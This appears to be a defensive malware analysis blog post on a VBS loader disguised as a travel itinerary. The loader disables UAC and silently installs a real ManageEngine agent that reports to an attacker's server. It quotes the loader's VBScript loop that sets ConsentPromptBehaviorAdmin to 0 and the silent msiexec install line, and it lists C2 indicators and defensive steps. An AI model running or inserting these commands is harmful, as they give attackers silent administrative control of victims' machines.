The "Travel Schedule" That Wasn't: Inside a Loader That Trojanizes a Real RMM Tool
A .vbs file disguised as a travel itinerary turned out to be a loader that silently installs a genuine ManageEngine Endpoint Central agent — pointed at an attacker's own server.
- Received a
.vbsfile disguised as a travel itinerary. It's a first-stage loader — not the actual malware. - It silently disables Windows UAC prompts, waits out sandbox analysis windows, then downloads a second stage.
- That second stage installs a real, legitimately-signed ManageEngine Endpoint Central agent — reconfigured to phone home to an attacker-controlled server instead of a real company's.
- End result: full remote administrative control, through software that most antivirus tools trust by default.
- This matches a campaign Microsoft publicly reported in March 2026 — and Malaysia is one of the hardest-hit regions.
The Bait
It arrived as Travel Schedule .-2026.vbs — a filename engineered for exactly one purpose: get opened without a second thought. No macro warning, no “protected view,” just a script that Windows will happily run the moment it’s double-clicked.
I didn’t run it. Everything below came from reading it — static analysis only, nothing executed.
Stage One — a Loader Built to Be Invisible
Strip away roughly 350 lines of decoy — fake SHA-256-looking hex strings and junk variables with randomized names — and four real behaviors are left:
- Silences UAC. Loops an elevated
reg addcommand untilConsentPromptBehaviorAdminreads back0— the setting that lets admin-level actions proceed without a confirmation prompt. - Waits out sandboxes. Sleeps a randomized 30–80 seconds, well past the short analysis windows most automated malware sandboxes use.
- Downloads a payload from a Base64-hidden URL, spoofing a normal Chrome user-agent.
- Removes the “downloaded from the internet” flag from the file it just fetched — the flag that would otherwise trigger a SmartScreen warning — before running it.
' the line that matters, isolated from ~350 lines of decoy padding
ATJ75 = "reg add ""HKLM\...\Policies\System"" /v ""ConsentPromptBehaviorAdmin"" /t REG_DWORD /d 0 /f"
Do
If VHK31() Then Exit Do
XCR70.ShellExecute "cmd.exe", "/c " & ATJ75, "", "runas", 0
Loop
Stage Two — Where It Gets Interesting
The downloaded zip doesn’t contain more malware in the usual sense. It contains a complete, genuine ManageEngine Endpoint Central deployment package — the exact kind of bundle an IT admin would use to remotely install monitoring software on a company laptop. setup.bat inside it is the real, unmodified ManageEngine setup wizard.
Sitting next to it is setup1.vbs — the file the first-stage loader specifically goes looking for by name. It runs the identical install command as the legitimate wizard, just silently and without asking:
msiexec.exe /i "UEMSAgent.msi" TRANSFORMS="UEMSAgent.mst"
ENABLESILENT=yes REBOOT=ReallySuppress
SERVER_ROOT_CRT="DMRootCA-Server.crt" DS_ROOT_CRT="DMRootCA.crt" /qn
/qn = fully silent install, no window, no user interaction. The certs point the agent at a server that isn't the one it should trust.A bundled config file, DCAgentServerInfo.json, tells the freshly-installed agent exactly which server to check in with:
| Field | Value | Why it's a red flag |
|---|---|---|
| Server address | 192.229.81.104:8383 | Not any address tied to a real employer |
| Server name | WIN-1O46T0J662C | Default Windows machine name — never renamed |
| Customer / MSP name | DC_CUSTOMER / DC_MSP | Placeholder values, not a real org |
The Full Chain
Six hops, one deliberate handoff point: everything before step four is custom attacker code; everything from step four onward is unmodified, legitimately-signed software just pointed somewhere it shouldn’t be.
Whose Server Is It?
WHOIS traces the IP through two layers of resale before running out of road:
Both allocation layers list their abuse contact as a generic @outlook.com address rather than a company domain — a pattern typical of low-verification VPS resale, which is exactly what makes infrastructure like this cheap and easy to rent for a short-lived campaign. It doesn’t identify the attacker; it just confirms the server sits on infrastructure built for exactly this kind of disposability.
Not a One-Off
The chain here — a document-style lure → VBS loader → UAC bypass → trojanized ManageEngine Endpoint Central agent — matches a campaign Microsoft’s Security Blog reported in March 2026. Their writeup names Malaysia as one of the regions hit hardest, with other regions seeing follow-on banking trojans or reconnaissance consistent with staging for ransomware or data theft.
Indicators of Compromise
| Type | Value | |
|---|---|---|
| Lure filename | Travel Schedule .-2026.vbs | stage 1 |
| SHA-256 | c82b4a449b4584160e1f7c854c34e3410fe40e5ef8bbda60e7ca56875764f568 | |
| C2 domain | lion.kmmiiaaa.com | network |
| C2 server | 192.229.81.104:8383 | network |
| Payload file | setup1.vbs | stage 2 |
| SHA-256 | 3d1a86ad729817d85377f59c3d5dcc67ba59af9824ae64aea8e626f6a4956d52 | |
| Dropped install path | C:\Users\Public\Videos\Temp\ | host |
| Registry key | ...\Policies\System\ConsentPromptBehaviorAdmin = 0 | host |
- Don't run it. If you already did, treat the machine as potentially compromised, not just "at risk."
- Check installed programs for an unexpected "Endpoint Central Agent" / ManageEngine entry you didn't install.
- Check the registry key above — if it's set to
0and you didn't set it, something ran on this machine. - Block
kmmiiaaa.comand192.229.81.104at the network level if you're on a managed network. - If it arrived via WhatsApp or another messaging app, that contact/account is now a known vector — flag it.